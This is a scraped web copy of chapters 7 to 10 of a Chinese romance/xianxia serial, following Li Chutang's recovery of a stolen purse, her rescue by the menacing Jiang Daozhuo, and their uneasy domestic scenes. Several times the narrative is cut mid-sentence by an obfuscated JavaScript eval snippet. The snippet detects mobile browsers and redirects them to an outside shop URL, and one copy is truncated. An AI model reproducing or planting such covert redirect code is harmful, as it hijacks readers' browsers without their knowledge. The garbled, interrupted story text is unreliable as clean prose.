“好，给您钱。”李初棠往怀里掏荷包。 手指一探，摸了个空。 李初棠笑容凝固，僵在原地。 钱呢？！ 7. 07 李初棠丢钱了。 丢的不是今天赚的铜板，而是原本带在身边的碎银子。 那是她山居立命的本钱！ 老大爷不耐烦：“小娘们儿，你买不买？” 她脸色微窘。 “没钱啊？我呸，没钱你买个屁！” 李初棠一脸尴尬地走开了。 “定是个惯犯……”她低头思索，不然怎么从她眼皮子底下偷鸡摸狗。 她不动声色地回到林张婆婆身边。 “婆婆，那个红姨是干什么的？” 林张氏警觉地看了看四周，凑近悄声道：“红姨是山里少有的富贵人，她家儿子是管市集的，他们两人都是神使，神使就是给蛇神传话的人，在山上很有威望。咱们一般人惹不起。” 李初棠追问：“您知道红姨在哪儿？” “她平时都在市集中央的竹亭里，一般待到收摊才走人。欸，你这是要去哪儿？” 话音未落，李初棠风风火火朝茶棚奔去。 亭下，红姨正悠哉地嗑着瓜子，身旁围着几个奉承的老妇。有个豁牙老头殷勤地倒茶侍奉，一群孩童蹲在边上玩石子。 “红姨！”李初棠笑吟吟地上前福了一礼，“小女子初来乍到，方才被林张婆婆提点，才知晓您的威名，先前多有冒犯，实在抱歉！” 红姨见她服软，端起架子冷笑：“怎么，京城大小姐有何贵干？我这小摊，可容不下你这尊大佛。” 附近山民爱凑热闹，见先前争执的两人凑在一起，纷纷聚拢过来。 李初棠声音清亮：“所谓大人有大量。红姨是十里八乡有名的女中豪杰，怎会与我这般普通女子一般见识？摆摊卖货，偶有口角也是常事。若传出去，我丢脸事小，可红姨您这般身份，若被人说与我这小辈争执，岂不有失体面？” 她这话说得高明，看似自谦，却将红姨抬得高高。 泼辣如红姨，不自觉翘起嘴角。 旁边一个老妇吐掉瓜子皮，咧嘴道：“呦，小嘴儿甜的，有事求红姨吧？” “正是。”李初棠提高音量，“谁不知这市集是红姨这位神使大人照应？山里百姓受了委屈，不都指望红姨主持公道？我听林张婆婆说，上回她丢了东西，就是红姨帮忙寻回的！大家说，红姨厉不厉害？” 围观人群立刻附和起来：“红姨厉害！” 红姨伸了伸脖子，姿态愈发矜持。 李初棠见时机成熟，转入正题：“不瞒各位，我被人偷了荷包，请红姨为我做主！” 她先前卖首饰的热闹场面不少人都见过，此刻听说她丢了钱，有人同情，也有人幸灾乐祸。 李初棠语气恳切，话将红姨架得高高的：“红姨既愿主持公道，不如趁市集未散，将方才凑在我货摊前的妇人都请来，一一搜身查验，如何？” 红姨眯起吊眼，脸色微绷。 “红姨是市集活神仙，这点小忙定不会推辞吧？”李初棠环视众人，笑问，“大家说是不是？” 林张婆婆接口：“那是自然！这市集上没有红姨办不成的事！” 倒茶的老头也忙着拍马屁：“可不是，红姨出马，一个顶俩……” 李初棠闻声望去，认出他正是刚才调戏自己的豁牙老汉。 红姨急瞪他一眼，老汉才噤声。 李初棠这番以退为进，将红姨捧上道德高台。 此刻她骑虎难下：如果搜身，必能找出荷包。如果不搜，就是做贼心虚！ “红姨怎么不说话？”李初棠故作好奇，“我记得您当时在场，我丢钱……您不至于这么惊讶吧？” 这话如石子入水，激起涟漪。 “咦？红姨也在？谁还敢偷钱啊……” 除非…… 山民们的窃窃私语如银针般扎在红姨心上，一滴冷汗从她额角滑落。这小姑娘，竟敢用捧杀之计！ “也罢！”红姨强作镇定，“我就让大家搜身！谁身上有你的荷包，谁就是贼！” “红姨此言差矣。小偷取走钱，荷包要么丢弃，要么转嫁他人。持荷包者，未必是真凶。” “给你出主意还不乐意了，我看丢钱也是活该，自己的碎银不保管好……” “红姨怎知我丢的是碎银子？” 李初棠忽然瞪大眼睛，“据我观察，市集交易多用铜钱，银两极为少见。” 红姨喉头一噎，眼神骤变。 众人面面相觑，尚未反应过来。 李初棠掏出钱囊掂了掂，扬声道：“大家见我典当首饰，便以为我丢的是铜钱吧？实则不然，我所赚铜板尽在。真正丢的，是装有碎银的贴身荷包！” 她目光锐利地看向红姨：“这一点，神使大人比我还清楚。” 红姨眼神躲闪，人群一片哗然。 “她意思是红姨偷的？” “除了她，还有谁敢动京城来的小姐？” “红姨霸道惯了，还真可能是她……” 豁牙老汉指着李初棠嚷道：“你血口喷人！有什么证据？！” “证据自然有。”李初棠目光扫向那群孩童，最终落在一个眼下有道疤的男童身上，“当时我摊位上人群密集，就是她拼命往前挤，撞进我怀里。大家可还记得？” 几位买首饰的姑娘顿时醒悟。 “对，就他，我看见了……” “莫非这孩子是……” 李初棠以指抵唇，示意众人安静。 “这孩子的衣料和红姨的一样，显然是一伙儿。”她冷静分析，“若我猜得不错，荷包应还在她身上，但已是空囊。所以红姨方才主动提议搜荷包。只要在无知孩童身上搜出荷包，她就能脱罪。” “放屁！”红姨气得浑身发抖，指着女童厉声道，“连儿，让她搜！若搜不出，看我不撕烂她的嘴！” 李初棠蹲下，笑眯眯招手：“连儿乖，给姐姐荷包好不好？” 连儿看了眼红姨，无动于衷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495109|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李初棠拿出十块铜板，笑眯眯招手：“连儿乖，给姐姐荷包好不好？” 连儿看也没看红姨，掀开坐着的板砖，拿出底下荷包，交给李初棠。 红姨老脸涨红，如同挨了一记无声的耳光。 李初棠高举荷包。那上乘材质和她衣裙布料如出一辙，正是她遗失之物。 空气凝滞。 众人投向红姨的目光充满意味。这无声的审判，比任何指责都更让人难堪。 “人证物证俱在！”李初棠下巴微抬，“你还有何话可说？还不——” “大家评评理啊！”红姨猛地起身尖叫，“这外乡来的小贱人，自己丢了东西就赖到我头上！她今天赖我头上，明天就敢赖在你们头上！” “她这是要逼死咱们这些本地人啊！她赚了咱们的钱，刚又想搜身！她能安什么好心！” 李初棠一愣，眉心紧蹙。 红姨选择胡搅蛮缠，转移矛盾，直接将恶意暴露在阳光之下，逼着山民们站队。 即便李初棠占理，在山民眼中也不过是个无关紧要的外乡人，得罪了也无妨。 但红姨是市集的掌控者，是草山的神使之一。 关乎切身利益时，没人会为正义买单。 即使红姨的过激反应暴露了心虚，围观者心知肚明，也会选择沉默，睁一只眼闭一只眼。 危机时刻，没有人会护着她。 李初棠心里自嘲，颓丧一笑。周折半天，做的都是无用功。 纵使她再冷静，也被这等颠倒黑白的行径气蒙了。冲天怒火自五脏六腑烧起，炙烤着身体。 这难受的感觉，与昨夜如出一辙。 她捂着胸口、脸色发白。 红姨见状，心中大快，一屁股坐回椅子，翘起腿朝豁牙老汉努嘴：“老罗，你不是想讨她当孙媳妇？正是机会，还不带走！” 老汉一拍脑门：“哎呦喂，怎么忘了这茬！” 他搓着手，猥琐地朝李初棠逼近。 “不许过来！”李初棠举起右手，一按袖箭。 为防身而藏的钢针疾射而出。 可惜她只精弓术，如今体虚情急，仅有一针命中老汉胳膊。 老汉惨叫一声，竟不拔箭，面目狰狞地扑来：“敬酒不吃吃罚酒！” “别碰海棠！”林张婆婆颤巍巍冲上前，如母鸡护崽般挡住李初棠，却被老汉一脚踹开。 “婆婆！”李初棠想去搀扶，胳膊却被老汉狠狠拽住，摔倒在地。 “小娘子，还是先顾好你自己吧！”老汉啐道，伸手欲扯她衣裳。 李初棠奋力挣扎，目光如刀：“滚！不许碰我！” “你是什么人，敢给老子犯倔？” 老汉凶戾的声音响彻市集。 一瞬的安静，而后一个冷冽的男音陡然响起。 “她是我的人。你准备好遗言了吗？” 众人动作顿止，齐齐抬头望去。 8. 08 “……大壮？！” 李初棠仰头，惊愕中透着一丝不易察觉的放松。 江道灼立于高处，眉如利剑，鼻若悬胆。桃花眼眸透着冷冽的光，薄唇微微发白，周身一股出尘气质。 他皮肤苍白，印堂微黑，精致的眉眼间透着掩饰不住的戾气。 衣着似道门高士，气场却如煞神临世，原本矛盾的二者在他身上诡异融于一体。 山民何曾见过这等人物，一时看直了眼。几个年轻姑娘掩嘴偷笑，面泛红霞。 李初棠心口一松，自嘲地笑了。野蛮之地，南疆的恐怖分子竟成了唯一倚靠。 冷声开口，字字如冰：“哪只手碰的她？” 豁牙老汉早已松手，闻言欲要辩解。 下一瞬，人影如鬼魅掠下，刀光似雪练闪过。 全场死寂，唯余老汉杀猪般的惨嚎刺破天际。一只肮脏的断手飞落在地，溅起尘土。 山民们吓得两股战战，抖如筛糠，噤若寒蝉。 李初棠震动之余，闪过一丝清醒的评判。 只断一手已经手下留情了。他手段毒辣，但很清楚：想在山上安身立命，不能做得太绝。 江道灼轻盈落地，木剑挽了个剑花，腰间银铃清脆一响。 他稳稳落在李初棠身侧，不由分说抽过她的手腕检查。 白皙肌肤上留着几道红痕，幸未破皮。还好没出血。 他心疼那颗失之交臂的血丹，爱屋及乌，也心疼她的血。 “你放心，我没事。”李初棠勉强一笑。 江道灼瞪向昏死的老汉，一脚将断手踢到红姨脚边。 红姨浑身一哆嗦：“你、你到底是何人？” 李初棠挽住他的臂弯，扬声：“我夫君！” 必须坐实这层关系，方能狐假虎威。 李初棠看向他，委屈哼唧：“壮壮哥，就是她偷了我的钱。” 江道灼用帕子慢条斯理地擦拭着桃木剑，眼风都未扫过去：“不想死就拿来。” 红姨气焰矮了半截，嘴硬道：“反了天了！外乡人欺负到我们头上，大家伙儿还不把他们赶下山！” 江道灼环视众人，眼神如冰。村民被杀气所慑，噤若寒蝉，无人敢再上前一步。 红姨后颈一凉，男人眼神看她如同看一只蝼蚁。 她心知不妙，切齿道：“李海棠是吧，我记住你了，给我等着！” 说罢，将一团红布扔向李初棠。 李初棠接过，迅速清点银钱揣入怀中，将红布掷地，狠踩两脚。 红姨趁这功夫钻入人群溜走。李初棠快步到连儿身边，一把抢过他手中铜钱。 众人见无戏可看，顷刻作鸟兽散，只余几个姑娘偷瞄着江道灼窃窃私语。 “溜得倒快！”李初棠哼道。 手腕蓦地一痛，已被他攥住。她抬头撞上江道灼阴沉的脸色。 “演够了吗？”他声音冷硬。 “还没有……”李初棠气势蔫了下去，小声嘀咕，“我还没买肉，没买牙刷和牙杯，还想扯几尺布做衣裳……” 话音未落，她被他拽着腕子，不由分说地拉走。 江道灼袍袖挟风，步子极大。李初棠跟得踉踉跄跄，一路被拖回破庙。 “啪”一声巨响，破门被狠狠甩上。 “你怎么了？”李初棠咯噔一下，危机感顿生。 只剩二人，江道灼无需再扮演她那情深义重的情郎。 他转身，眼底凶戾尽显，双手掐住她的肩头，将她狠狠抵在墙上。 “谁让你乱跑？谁让你闯祸？谁让你去招惹泼皮？你嫌命长，还是想死！嗯？！” 李初棠一懵，鼻尖酸涩难抑，前所未有的委屈席卷而来。 “我去维持生计！买肉买菜，买盥洗之物，买布裁衣！你倒好，反来怪我？！” 酸楚涌上，她眼底蓄上水雾。 “我才不要口臭，不要吃糠咽菜，不要浑身臭汗！受苦都是因为你，遇见你真倒霉！” 连珠炮似的控诉伴着泪珠啪嗒落下，连日来的恐惧、艰辛和屈辱，此刻尽数爆发。 江道灼喉结一滚，心头涌上莫名的烦躁。 他习惯了刀剑剑影，鲜血压制，眼泪是他最陌生、最不屑的武器。 从未有女子敢在他面前如此梨花带雨。 他强忍着画面带来的不适，言语愈发刻薄：“哭什么？你若听我的，不去抛头露面，根本不会有今日之祸。” “要你管！” 冷言冷语如同火上浇油，李初棠体内肝火郁结，火气蹭蹭往上窜，连她自己都控制不住。 她哭得上气不接下气，江道灼掐她肩头的手，力道不自觉松了。 眼前一幕被尘封的记忆取代，碎片画面走马灯般交织映入。 冷宫地砖上蠕动的阴影，女人压抑的啜泣，墙外太监的嘲笑…… 那个记忆里容貌模糊的女人，也曾这样背对着他，用尽全身力气压抑着哭声，单薄的脊背抖得像风中残叶。 那时他太小，只能蜷缩在阴影里，被巨大的恐惧和无力感吞噬。 那种感觉，比任何时候都令人窒息。 看着她哭得眼睛鼻头通红，肝火郁结的模样，江道灼眉头紧锁，陷入了久违的无措。 最终，他硬邦邦地挤出一句：“不准哭了，这是命令。” 在他看来，流泪是被勒令禁止的行为。 李初棠抽泣着，因脱力而微微晃了一下。 江道灼下意识手一抬，在她后背停顿良久，最终只是像敲木板般，僵硬而沉重地拍了两下。 “疼……”李初棠被他拍得咳了两声，刚止住的委屈又涌上来，“你、你打我干什么？！” 江道灼塞过锦帕，被烫到般收回手，“脸擦干净，难看死了。” 说完，他有些仓促地离开，留下一个冷硬的、带有一丝不同意味的背影。 一出破庙，江道灼只觉耳边骤然清净，步伐恢复了往日的凌厉。 观澜悄无声息地自一旁闪出，跟上他的脚步。庙内动静他听得一清二楚，跟随国师多年，头一回见他……哄女人？ 虽然方式骇人。 “主上不下山……是因为她？” 江道灼答非所问：“要你准备的东西呢？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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丹主身心波动，皆会影响药性。她今日情绪过激，五内俱焚，怕是血丹并未彻底融入骨血所致。若任其发展，药性大打折扣，于他不利。 江道灼沉着脸收起古籍。 炼制血丹耗时耗力，非一日之功，好不容易得此一颗续命，却被她吞了。只有定期饮她的血，才能保命。 思及此，他再不敢怠惰。 不一会儿，阴暗的茅屋里热气蒸腾。 江道灼卷起衣袖，仔细切配药材，称量后逐一投入药罐。他专注地端着汤匙品尝药汤，额角渗出细密的汗珠。 他以银匕划破指尖，将一滴血珠坠入汤药。 药汁色泽瞬间变得深邃…… 不久，林张氏扛着大包小包归来。江道灼温言谢过，拿起那块猪肉置于案板之上。 刀光起落，狠厉精准，厚实的肉块转眼被切成薄如蝉翼的均匀肉片。 隐于暗处的观澜瞥见这炸裂的一幕，惊得目瞪口呆。 国师府上下谁人不知他素食清修，府内几乎禁绝荤腥。单看主上紧蹙的眉头，便知他对此物厌恶至深。 这位十指不沾阳春水的国师大人，如今竟然破戒，亲自取血熬制汤药，料理他最厌弃的肉食…… 观澜惊诧到舌头打结。 那女子，究竟什么来历？！ 9. 09 蛇神庙里，李初棠直哭到再流不出一滴泪，才渐渐止住抽噎。 她蜷在竹床上，手按着心口，只觉浑身乏力，一股没由来的燥热从骨子里透出来。 平日里再难受，也不至于这般失控。 她究竟是怎么了？ 昏沉间不知睡了多久，再醒来时，鼻尖嗅到食物香气。 破庙堂前的竹桌摆了几碟小菜，一碗白粥袅袅冒着热气，粥里隐约可见细碎的肉糜。 江道灼坐在泥像下的竹椅中，双臂环抱，长腿交叠，静默的像一尊守护神。 “醒了？” 他走过来。 李初棠混沌未清，依着本能下床，坐到他对面。她揉了揉发胀的额角，轻声嘟囔：“好香！林张婆婆厨有进步！” “趁热吃。”他语气没什么起伏。 李初棠饥肠辘辘，顾不得什么仪态，夹起一块肉送入口中。 下一刻，她整个人僵住。 又硬、又淡、又烫——仿佛在嚼一块正在燃烧的干蜡烛。 她是无肉不欢之人，从未想过肉能做得难以下咽。 李初棠不再咀嚼，梗着脖子，用力咽了下去。 江道灼挑眉：“怎么？” 多年不曾下厨，于他而言，食物只要果腹、无毒就行。 从不考量味道。 更何况，他头一回做荤菜。 他不明白她为何露出这么痛苦神情。 “罢了。”他推过一只陶碗，里面是浓黑如墨的汤药，“先把这个喝了。” 李初棠瞥了一眼，立刻蹙起眉头：“味道好冲。” “我不喝苦的，除非有蜜饯。” “喝了。”他的目光带着不容置喙的压迫感，“一滴都不许剩。” 李初棠可怜巴巴撇嘴。 他稍作停顿，语气沉下几分，“你误服血丹，不想难受就乖乖喝药。” 李初棠心头一紧：“血丹是什么？会吃死人吗？” 她细细回想，确实是从吞下那珠子后，身体越发不对劲。 “那是道士修行所用丹药，常人误食会肝火亢盛，如你今日这般……失控、发疯。”他语带讥诮。 李初棠：“……” “趁热喝，药性才好。”他拿起汤匙，作势要喂。 她吓得赶忙端碗，仰头将药汁一口气灌下去。 苦涩瞬间席卷味蕾，舌头都麻了。 待放下碗，两人陷入微妙的沉默。 李初棠清清嗓子，率先打破沉寂：“方才……我……情绪失控……抱歉。” 说罢，她耳根微微发热。 “你算过没有？”江道灼忽然抬眸，“你卖首饰所得，与你今日风险根本不成正比。为这种亏本买卖落泪，出息。” 李初棠一怔，后知后觉意识到，这是他独有的、蹩脚的宽慰。 江道灼继续道：“以后记住，任何存在隐患的事，未经我允许，你不能执行。” “还有，”他眉心微蹙，带着警告意味，“以后不准哭。尤其，不许在我面前哭。” 李初棠忍不住反驳：“可山上危险，再遇上恶人……” 他目光森冷：“以后谁让你哭，我就让他永远哭不出来。” 眼神里没有半分温度，语气却重若千钧。 “手怎么了？”他问。 李初棠注意到右手食指划破了一条细细的口子，不疼，但隐隐流出血丝。 她想起来了，拿林张婆婆的编织物时不小心划到的。 “无妨，一会儿就……” 他握住她的手指，含进嘴里。 温湿的触感包围住受伤的指腹，舌尖轻轻舔舐着，好像在抚慰伤口。 他就这样捧着她的手吸吮、疗愈，神色清明，眸光虔诚。 李初棠望着他深不见底的黑瞳，心怦怦直跳。 良久，他停下来，手帕擦干手指，松开了她。 李初棠脸颊通红，在他看过来的一瞬，慌得垂下了眼睫。 “好，我答应你，以后不乱跑了。”她小声说。 经此市集一遭，她彻底明白了。这里并非什么世外桃源，而是弱肉强食的不化之地。 既然他愿意充当护卫，保她平安，何乐而不为？ 李初棠和煦道：“今日震慑村民，多亏有你。但要想在山上立足，我们终归要与这些人共存。想必经过此事，他们也该安分了。往后井水不犯河水便是。” 江道灼又道：“生计我来处理。你若再私自赚钱，就是给我添乱。” 他虽危险，但结盟以来，确实未曾伤害过她。 李初棠暂且信他。 “多谢道长。”她点头应下，随即语气微赧，“只是……还有件小事，想劳烦你。” “讲。” “……我想沐浴。” “我帮你。”他接得极快。 话音刚落，两人俱是一怔，目光倏然相撞。 “……不是！我的意思是……帮我挑水，山溪离庙太远，我没力气了……” “不然呢。”江道灼嗤笑，“倒是会往自己脸上贴金。” 谈及此等私密之事，他非但毫无窘迫，反而嘴角勾笑，语带嘲弄。 见他恢复平日那般刻薄模样，李初棠反倒松了口气。 “你……没事吧？”她犹豫片刻，还是问出了口。 江道灼抬眸，静待她的下文。 李初棠指了指自己的嘴唇示意：“你这里，颜色很白。” 江道灼低笑一声，笑意未达眼底：“李大小姐若再擅自行动，我不止嘴唇，头发也会被你气白。” 一番好意换来冰冷的讥讽。李初棠顿觉无趣，再不想搭理这个怪人，放下筷子便去找林张婆婆说话了。 她前脚刚离开，一道黑影便自梁上轻巧落下，正是观澜。 “主上！” 昨日饮血后，药毒稍缓，但市集动用内力，又忙碌半晌，反噬已隐隐发作。连李初棠都看出了他的不妥。 江道灼唇角渗出一缕暗红的血丝。他仰头，硬生生将那口清苦的黑血咽了回去。 再抬眼时，一双漂亮的桃花眼已泛起诡谲的红芒。 “那女人真是不识抬举！端药下厨便罢了，竟还敢使唤您挑水沐浴！简直、简直……”观澜愤愤不平。 江道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495111|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼慵懒打断：“好啊，那日后你负责为她做饭。” 观澜一懵：“啊？” “记住，要大鱼大肉，色香味俱全。” 他绷着脸，语气愈发冰寒。她吞了血丹，无异于掐住他的命脉。 方才他抓住机会，饮到了她的血。哪怕只有一滴，却颇有成效。闭目养神，江道灼感觉到药毒压抑舒缓，身体舒服了不少。 他不知身体所能承受的极限，保守估算，每隔三五日，他必须饮一次血。 眼下最棘手的是，如何合理取到她的血，且不会引起她的怀疑。 李初棠在林张氏家蹭了顿便饭，总算换下一身几乎馊掉的衣裙。 林张氏抚摸着那件绸缎衣裙，爱不释手：“这料子真滑手，海棠穿着那叫一个俊俏，今儿个在市集上一站，不知看呆了多少人。” 这正是李初棠所担忧的。枪打出头鸟，她可不想成为众矢之的。 她换上林张氏多年前的旧布裙，对着缺了角的铜镜照了又照。 “海棠生得标致，粗布衣裙也遮不住光彩。” 李初棠却有些失望：“可我不想惹人注目。” 过了一会儿，隔壁传来哗啦水声。李初棠循声走去，男人正将木桶里的水倒入浴桶。 地上放了七八个空桶，扁担歪在一旁。他肩头的衣衫皱巴巴的，后背湿了一大片，脸上汗水淋漓。 林张氏挤进狭小的浴室，一见这情景，立刻露出姨母笑：“瞧瞧，哪儿去找这么体贴的相公？一听你要沐浴，二话不说去挑水！山溪到这儿，可远着哩！” “我这就去给大壮煮碗茶！”林张氏笑着走开了。 李初棠扶着门框，看他沉默收拾的背影，心里有点愧疚。 江道灼伸手试了试水温，“凉的，等着我去烧水。” 李初棠抿唇：“不必麻烦，我其实……” 他低头拾起柴火，冷哼道：“算了，你这么娇气。” 若是着凉染上风寒，终究影响药效。 到时候惨的是他。 李初棠垂下眼睫，声音细若蚊蚋：“……好，有劳了。” 她尴尬地站一旁等了近一个时辰，浴桶里的水终于温热起来。 “快洗，别误了晚饭。”江道灼面无表情地说。 他最烦磨磨蹭蹭，眼前偏是个矫情事多的主儿。 与她擦肩而过时，他的胳膊不经意撞了她一下，好似催促，又似警告。 “别让我等太久。”他头也不回走了。 “放心，我很快就好。”李初棠自觉理亏，低声应下。 她掩好门窗，褪去衣衫，浸入温热水中，连日的奔波与疲惫即刻涤荡而去。 李初棠享受着沐浴带来的美好，慢悠悠沉浸其中。 不知过了多久，直到水温彻底转凉，她才依依不舍起身。 窗外的天彻底黑了。 她擦拭着身体，门外传来急促的脚步声。 “谁？！” 他声音透着不耐：“还没结束？” 李初棠无语：“催什么，我洗好了。” 一阵疾风掠过，门被推开，江道灼踏了进来。 10. 10 屋内水汽尚未散尽，氤氲着皂角的清香。 李初棠只着一身素白里衣，湿发贴着她纤长的颈，几处布料被浸得微透，隐约勾勒出单薄的肩线和不盈一握的腰肢。 她的脸颊被热气蒸得绯色，眼眸似浸了水雾，显得比平日更加柔软，甚至有些懵懂和无措。 “你……你怎么进来了？”她下意识拢紧衣襟，颊边红晕更深。 江道灼的目光在她湿漉漉的发梢停留片刻。 “我再不来，你要泡烂了。” 这人必须时时刻刻出现在他视线里才行，否则实在难安。 况且，他想仔细观察一下，看看她身体哪处方便取血。 李初棠微恼：“我还没穿衣！” “这不穿着么？”江道灼不解。 她明明穿着衣裳。再说，就算不穿又何妨，无非肉身一具。 “我都没穿戴整齐！”李初棠心道此人简直不可理喻！ “你整个人都是我的，还怕我看？” 李初棠耳根一烫：“我何时成了你的？” 她不是没感觉到，江道灼看她的眼神如同审视一件器物。言语并无温情，行动极尽掌控。 他自然不会提及血丹之事，只道：“我数次救你性命，你若懂得感恩，合该以身相许。山居假扮夫妻一事，本是你先开的口。怎么，想反悔？” 一番话说得李初棠哑口无言。 他大抵真是南疆来的蛮人，不懂中原礼数，亦无男女大防。 与这种野人讲道理，无异于对牛弹琴，更不值得动气！ 日后分道扬镳，各走各路，只当红尘过客，再不相见便是。 李初棠腹诽着，江道灼一把抽走她手中布巾：“湿发易感风寒，蠢货。” 他竟要亲手替她拭发。 “我自己来就好！”李初棠伸手去夺，指尖无意擦过他手背。 两人均是一顿。她如触火炭般倏地缩回了手。 江道灼未言，只绕至她身后，用布巾裹住她绸缎般铺泻的长发。 动作算不上温柔，甚至带着他惯有的生硬和凌厉。 李初棠蹙眉：“……疼。” 他下手有些重，仿佛只想尽快了事。 “还是我自己——” “你来？”江道灼低嗤，“擦到天明也干不了。” 他嘴不饶人，手上力道却缓下来，指腹控着劲儿，没再扯痛她。 屋内忽然变得极静，只余布料摩挲发丝的窸窣声，以及彼此轻浅的呼吸。 江道灼站得很近。 李初棠感受到他周身散着的、与室内暖湿水汽截然不同的微凉气息，也能闻见他衣袖间淡淡的、似草木又似药石的气味。 她身子微僵，不敢妄动，所有知觉汇聚头顶。 他的手指偶尔掠过她的头皮和后颈，触感温热而干燥，与她浑身氤氲的湿意截然不同。 所经之处，激起一片细微战栗。 李初棠垂着头，脸颊滚烫，只觉心口怦怦直撞。 他今天是怎么了？明明先前还那般凶煞…… 她一边困惑，一边又忍不住想：原来他的手不只会执剑杀人，竟也会温柔地侍奉人。 这人知晓医理，熟稔头颅穴位，按揉得恰到好处。 头皮的舒适裹挟着心底礼教的谴责，矛盾地冲击着她。 李初棠闭上眼，一面贪恋这难得的服务，一面又盼他快些停下。 江道灼凝着她的发顶，眸色深沉。 头发质地上佳，做成拂尘尚可。脖颈倒是白皙，纤细一段，稍微用力就能折断。 但这些地方都不好取血。 她为何如此紧绷……像只受惊的小猫。长此以往，会不会影响血丹融合？ 许是走神，指尖无意擦过她的耳廓。 李初棠身子微缩。 江道灼动作一停。 “……不舒服？”他问。 他清晰看到她耳根和脖颈漫上诱人的粉色，像初春的桃花。 李初棠极轻地摇摇头，羞得说不出话。 片刻，他重新动作，却不知有意还是无意，避开了她耳后那片肌肤。 只是力道变得比方才更轻、更缓。 江道灼眉心微不可查地皱起，他没找到一处方便取血的肌肤，就这样白白给人忙活一通。 这一生什么风浪没有，大江大河都过了，偏栽在一个小女子手里。 伺候拭发这等琐事，竟比在冷宫陪母亲蹉跎、在南疆被师父炼药更磨人心性…… 直至长发半干，他才放下布巾，嗓音低沉：“好了。” “多谢。” 李初棠缓缓扭头，羞赧说完，窘迫地咬了一下唇。 江道灼随之看了过去。 刚沐浴完，水汽氤氲，她的唇瓣比平时更红润，下唇饱满，上唇有一颗小巧的唇珠，像熟透的樱桃。 甚至比樱桃更红、更嫩。 只要稍稍咬上一口，就会鲜血直流。 眼眸深处闪过一丝兴奋。 他想到了深宫之中对食的太监宫女，常常隐在角落亲近，完事后，宫女的嘴唇会肿、会出血。但她们并不会因此反应激烈，也不会怪罪太监。 江道灼看着她的唇出神。 她撇眉：“你看什么？” 语罢，他回神，转身离去，背影比来时更匆促。 李初棠独自立在原地，许久未动，只觉得脸上、耳后、凡被他指尖触碰之处，热度久久不散。 收拾停当后，李初棠回到破庙。 檐下悬着的人皮灯笼洒下昏黄光晕，照亮夜色一隅。江道灼倚门而立，身后木桌上已摆好碗筷与几碟菜肴，热气袅袅。 李初棠小跑到他身边，见他目光落在自己身上，也低头看着这身粗布裙。 她不自在地扯了扯裙摆，小声道：“我这身……还行吧？” 江道灼：“显老。” 李初棠：“……” 她暗暗攥拳，咬牙回道：“是啊，谁让我得配你呢。” 江道灼看了眼她的嘴唇，罕见的没怼回去。 见他吃瘪，李初棠心里暗爽，鼻尖闻到浓重的肉香，径自坐下，眸光忽地一亮：“叫花鸡！” 她在京城没尝过，独往江南后方得自在，才吃到这名字粗鄙却滋味十足的佳肴。 李初棠看了眼开裂的泥块，又巴巴望着对面冷脸的男人。 “嘿嘿。”她朝他笑了笑，一双美眸殷勤地看着他。 江道灼握拳，一掌震开泥壳，以银匕挑开荷叶，露出里头油润晶莹的鸡肉。 李初棠迫不及待撕下肥嫩的鸡腿，扯下一小块细肉，忍着烫细细咀嚼。 “滋味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495112|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚好！”她咽下后问，“鸡从何来？” 江道灼淡笑。他哪儿知道，又不是他做的。 “你怎么不吃肉？” “我不吃尸体。” 李初棠：“……” 她慢条斯理吃着鸡肉，心中疑窦丛生。 “没想到你厨艺进步这么快。” “知道试探我的下场吗？”江道灼指间银匕轻转，刃尖在桌面划开一道深痕。 他的语调平静到令人骨髓发寒：“当时剥阿青用的就是这个，怎么，你也想试试？” 李初棠顿了顿，坦然迎上他的目光：“你说话虽刻薄，但这些天待我极好，我都记着呢。往后，我会报答你。” 她不是没有猜度过他的身份。 一身绝世武功，道门出身，来自神秘的南疆，手段狠戾果决…… 不是权贵死士，便是高门豪奴。 “你该不会是国师的人吧？”她突然问。 草山一带离国师道场阳明山极近，或许因祭坛生变，他不慎流落至此。 李初棠自顾自说：“但愿不是。” 江道灼挑眉：“为何？” “那杀千刀的妖道凶名远扬，魅惑圣上不说，前年北戎来犯，他率兵征讨，竟然勾连山贼土匪并肩作战，大捷后屠城杀人，搞得西北尸山遍野。你若任务失败沦落山野，回去还不知要遭何等惩处。被他折磨得半死不活也罢，万一丢了性命，我以后找谁报恩去。” 她有意拿话诈他。一双眼直直盯着江道灼，试图从他神色中窥见破绽。 